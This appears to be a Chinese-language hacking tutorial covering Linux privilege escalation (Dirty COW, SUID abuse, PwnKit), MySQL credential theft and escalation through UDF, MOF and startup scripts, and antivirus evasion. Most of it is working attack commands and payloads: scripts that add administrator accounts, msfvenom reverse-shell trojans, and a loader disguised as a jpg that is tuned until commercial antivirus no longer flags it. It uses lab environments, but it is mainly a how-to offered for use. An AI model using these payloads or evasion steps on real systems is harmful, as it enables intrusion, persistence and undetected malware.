find / -name wget find / -name nc* find / -name netcat* find / -name tftp* find / -name ftp
查看缓存:
arp -e route /sbin/route -nee
查看网络通信:
lsof -i lsof -i :80 grep 80 /etc/services netstat -antup netstat -antpx netstat -tulpn chkconfig --list chkconfig --list | grep 3:on last
Linux提权实战
Linux脏牛提权
环境: Metasploitable-2
下载 https://sourceforge.net/projects/metasploitable/files/Metasploitable2/
账号密码 msfadmin/msfadmin
漏洞简介: CVE-2016-5195,即 Dirty COW,俗称「脏牛」漏洞。它是 Linux Kernel 中的条件竞争漏洞,攻击者可以利用 Linux Kernel 中的 COW(Copy-on-Write)技术中存在的逻辑漏洞完成对文件的越权读写,恶意用户可利用此漏洞来获取高权限。
漏洞原理: Linux内核的子系统在处理写入时复制至产生了竞争条件,恶意用户可利用此漏洞来获取高权
限。
影响版本: 自2007年9月 Linux Kernel 2.6.22 被引入,直到2018年Linux Kernel 4.8.3, 4.7.9, 4.4.26 之后才被彻底修复,影响在此期间的所有基于其中版本范围的Linux发行版。
脏牛提权: 提权之前为msfadmin权限
上传提权exp dirty.c,使用gcc进行编译:gcc -pthread dirty.c -o dirty -lcrypt
进行提权(root是随便输入的密码):./dirty root
查看/etc/passwd发现多了一个用户firefart
su firefart,输入密码即root,成功提权至root权限
SUID提权
所用环境: docker pull docker.io/citizenstig/dvwa
SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。
举个例子:
vim文件具备s权限,即vim命令具备s权限,其拥有者是root; www-data用户使用vim命令时,可以短暂获得root权限,如果能抓住这短暂的时间执行系统命令,其实就相 当于是以root用户的权限去做执行操作。
已知的可用来提权的Linux可行性的文件列表如下:
nmap vim find bash more less nano cp
查找具有root权限的SUID的文件:
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
利用find命令提权至root权限
chmod u+s /usr/bin/find find / -name one.php -exec "whoami" \;
Linux Polkit本地提权
所用环境: docker pull docker.io/chenaotian/cve-2021-4034
Polkit: 是用于在类 Unix 操作系统中控制系统范围特权的组件,它为非特权进程提供了与特权进程进行通信的方式。
CVE-2021-4034: Polkit 的 pkexec 命令存在本地权限提升漏洞,已获得普通权限的攻击者可通过此漏洞获取root权限。
利用: 上传exp,给权限执行cve-2021-4034-poc即可提权获得root权限
docker run -d --name polkit -it docker.io/chenaotian/cve-2021-4034 docker exec -it polkit bash root@179f5e96a042:/# cd ~ root@179f5e96a042:~# ls Pwngdb-master exp glibc-2.27 polkit-0.105 pwndbg-dev root@179f5e96a042:~# cd exp/ root@179f5e96a042:~/exp# ls CVE-2021-4034 exp.tar root@179f5e96a042:~/exp# cd CVE-2021-4034/ root@179f5e96a042:~/exp/CVE-2021-4034# ls exp.c lib.c run.sh root@179f5e96a042:~/exp/CVE-2021-4034# ./run.sh # 编译得到提权程序 lib.c:5:43: warning: conflicting types for built-in function 'exp' [-Wbuiltin-declaration-mismatch] static void __attribute__ ((constructor)) exp(void); ^~~ root@179f5e96a042:~/exp/CVE-2021-4034# ls 'GCONV_PATH=.' exp exp.c lib.c pwnkitdir run.sh root@179f5e96a042:~/exp/CVE-2021-4034# su test $ pwd /root/exp/CVE-2021-4034 $ ./exp # whoami root
数据库权限提升
主要内容:
- 如何获取 mysql 账号和密码
- UDF 提权
- MOF 漏洞及启动项提权
如何获取Mysql的账号和密码
所用环境:docker pull docker.io/citizenstig/dvwa:latest
方法1-获取Webshell之后查找配置文件
获取Webshell之后
查找网站数据库配置文件,对于CMS系统,比如WordPress系统,数据库信息都是在/wordpress/wpconfig.php中。针对CMS系统,可以先去百度,查找相关配置文件的目录,一般是web.config,config,config.inc.php,jdbc.properties之类的字样。
比如DVWA网站的配置文件是/var/www/html/config/config.inc.php
方法2-通过SQL注入获取Mysql账号密码
通过sqlmap进行注入,–batch的意思是让sqlmap自动选择执行过程中出现的询问请求。
python sqlmap.py -r 9.txt –batch
存在SQL注入漏洞
通过–password获取数据库账号密码
获取到密码为root
方法3-通过暴力破解获取Mysql账号密码
通过hydra进行暴力破解
hydra 192.168.85.188 mysql -l root -P mysql.txt -o save.log -f -vV -e nsr
UDF提权
所用环境:Win7 + phpstudy + DVWA
UDF提权前置知识
UDF介绍:
UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,它是用来拓展MySQL的技术手段,可以说是数据库功能的一种扩展。用户通过自定义函数来实现在MySQL中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,通过添加命令执行函数可以执行系统命令,从而进行提权。
原理:用户自定义的函数被当作本机函数执行,在使用CREATE FUNCITON调用dll中的函数后,mysql 账号转化为system权限,从而实现提权。
UDF提权条件:
- Mysql版本大于5.1版本
- 掌握的Mysql数据库的账号有对Mysql的insert和delete权限以创建和删除函数
- secure-file-priv参数不为null
- 网站本身存在Getshell漏洞,可以通过Webshell可以将udf.dll上传到Mysql中的lib\plugin录下
UDF提权流程
1、通过网站漏洞获取一个shell,如webshell:
权限为admin
2、查找数据库账号密码
WWW/DVWA/config/config.inc.php
3、连接数据库
提前配置好数据库允许远程连接。这是使用phpstudy中的数据管理工具
# 允许数据库远程连接 grant all privileges on *.* to "root"@"%" identified by "密码"; #这时就可以使用远程数据连接工具navicat了 # 创建用户 CREATE USER 'admin'@'%' IDENTIFIED BY 'pwd123'; # 授予用户dvwa库权限 grant all on dvwa.* to 'admin'@'%'; # Mysql配置文件增加 srcure-file-priv选项。 # phpstudy 中mysql配置文件在c:/phpstudy_pro/Extensions/MySQL5.7.26/my.conf # 改完重启mysql [mysqld] 下添加 secure_file_priv=''
新建查询,查询Mysql系统位数:64位数
show variables like '%compile%';
查看plugin目录
show variables like '%plugin%';
C:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\
4、制作提权dll
sqlmap中有编码后的dll文件,路径为
sqlmap\data\udf\mysql\windows\32\lib_mysqludf_sys.dll_ sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_
需要利用cloak.py进行解码获得lib_mysqludf_sys.dll,cloak.py在sqlmap的sqlmap\extra\cloak\目录下
python cloak.py -d -i lib_mysqludf_sys.dll_
5、将dll文件上传到C:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\目录
Mysql默认安装时没有lib\plugin目录,需要新建
将mysqludf_sys.dll上传至该目录下
6、创建sys_eval函数,提权
create function sys_eval returns string soname 'lib_mysqludf_sys.dll';
使用函数进行提权:select sys_eval('whoami');
成功提权至administrator权限(如果数据库是普通用户启动只能提到普通用户提权)
MOF漏洞及启动项提权
MOF提权
条件:
- windows 03及以下版本
- mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录
- secure-file-priv参数不为null
原理:
MOF文件每五秒就会执行,而且是系统权限,我们通过Mysql使用load_file将文件写入/wbme/mof目录,然 后系统每隔五秒就会执行一次我们上传的MOF文件。MOF文件中有一段是vbs脚本,我们可以通过控制这段vbs 脚本的内容让系统执行命令,进行提权。
mof利用代码:
#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test 123456 /add\")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
提权过程:
将上面的脚本通过Webshell上传到有读写权限的目录下
C:/phpstudy_pro/1.mof
然后使用sql语句将文件写入到c:/windows/system32/wbem/mof/下
select load_file("C:/phpstudy_pro/1.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"
当我们成功写入mof文件时,mof就会直接被执行,且每5秒创建一次test用户。
启动项提权
条件:file_priv 不为null、已知Mysql账号密码
写入一段VBS代码到开机自启动中,服务器重启即创建用户并提权,可以配合ms12-020,ms15-034等漏洞将服务器打蓝屏迫使服务器重启。
1、开始菜单当前用户启动文件夹 C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 2、开始菜单所有用户启动文件夹 C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp 3、注册表当前用户开机启动项目录 HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 4、注册表所有用户开机启动项目录 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
利用POC:
create table a (cmd text); insert into a values ("set wshshell=createobject (""wscript.shell"") " ); insert into a values ("a=wshshell.run (""cmd.exe /c net user test 123456 /add"",0) " ); insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test /add"",0) " ); select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单 \\程序\\启动\\a.vbs";
免杀
所用环境:Kali linux + Windows
利用MSF编写远控程序
msfvenom参数:
-p, --payload <payload> 指定需要使用的payload(攻击荷载)
-l, --list [module_type] 列出指定模块的所有可用资源,模块类型包括: payloads, encoders, nops, all
-n, --nopsled <length> 为payload预先指定一个NOP滑动长度
-f, --format <format> 指定输出格式 (使用 --list formats 来获取msf支持的输出格式列表)
-e, --encoder [encoder] 指定需要使用的encoder(编码器)
-a, --arch <architecture> 指定payload的目标架构
--platform <platform> 指定payload的目标平台
-s, --space <length> 设定有效攻击荷载的最大长度
-b, --bad-chars <list> 设定规避字符集,比如: '\x00\xff'
-i, --iterations <count> 指定payload的编码次数
-c, --add-code <path> 指定一个附加的win32 shellcode文件
-x, --template <path> 指定一个自定义的可执行文件作为模板
-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
--payload-options 列举payload的标准选项
-o, --out <path> 保存payload
-v, --var-name <name> 指定一个自定义的变量,以确定输出格式
--shellest 最小化生成payload
-h, --help 查看帮助选项
--help-formats 查看msf支持的输出格式列表
msfvenom生成5555.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.85.137 lport=5555 - f exe -o 5555.exe
msf监听端口
use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set lhost 192.168.168.137 set lport 5555 run
受害机器执行5555.exe,成功上线
利用MSF实现免杀
免杀技术简介:
免杀技术全称为反杀毒技术, Anti-Virus 简称“免杀”,指是一种能使病毒木马免于被杀毒软件查杀的技术。免杀技术的涉猎面广泛,其中包含反汇编、逆向工程、系统漏洞等技术,内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=XXXX lport=XX -f exe -o XX.exe
生成的木马,不做任何的免杀处理,利用在线杀毒引擎检测查杀概率:
https://www.virustotal.com/gui/home/upload
拖入5555.exe
上传后,查杀引擎会对5555.exe进行查杀
VirusTotal的反病毒引擎报毒为49个。
工作中单位要去采购防病毒软件,可以提前跟供应商沟通一下防病毒软件使用的是什么杀毒引擎,可以利用这个网站看看引擎的查杀效果。
利用MSF自带的功能进行免杀
Meatsploit 框架下免杀的方式之一就是使用MSF编码器,其功能是对攻击载荷文件进行重新的排列编码,改变可执行文件中的代码形状,避免被杀软认出。MSF 编码器可以将原可执行程序重新编码,生成一个新的二进制文件,该文件运行后,MSF 编码器会将原始程序解码到内存中并执行。
-e:指定编码器x86/shikata_ga_nai
-i:指定编码次数
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.85.137 -e x86/shikata_ga_nai -i 20 -f exe -o 5556.exe
可以发现使用编码器免杀具备一定的效果,报毒引擎数量有所下降,但是效果微乎其微,近年来由于各种杀毒软件的更新,msf编码器免杀已经被各大杀毒软件标记,免杀效果差。
MSF编码器结合shellcode加载器进行免杀
下载shellcode加载器: https://github.com/crow821/crowsec/tree/master/BypassAV_360_huornog
利用编码器生成jpg文件
msfvenom -p windows/meterpreter/reverse_tcp -e x64/shikata_ga_nai -i 7 -b '\x00' lhost=192.168.168.137 lport=5558 -f raw -o crowsec.jpg
来看免杀效果:ms.exe仅5个杀毒引擎报毒
crowsec.jpg仅10个杀毒引擎报毒
常见的杀毒软件火绒+360查杀无风险
利用msf进行监听
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.168.137 set lport 5558 run
将crowsec.jpg和ms.exe放到同一目录,点击ms.exe即可上线
注意:如果编码器运行不成功,需要 msvcr110.dll 放到 C:\Windows\SysWOW64 下
获取到meterpreter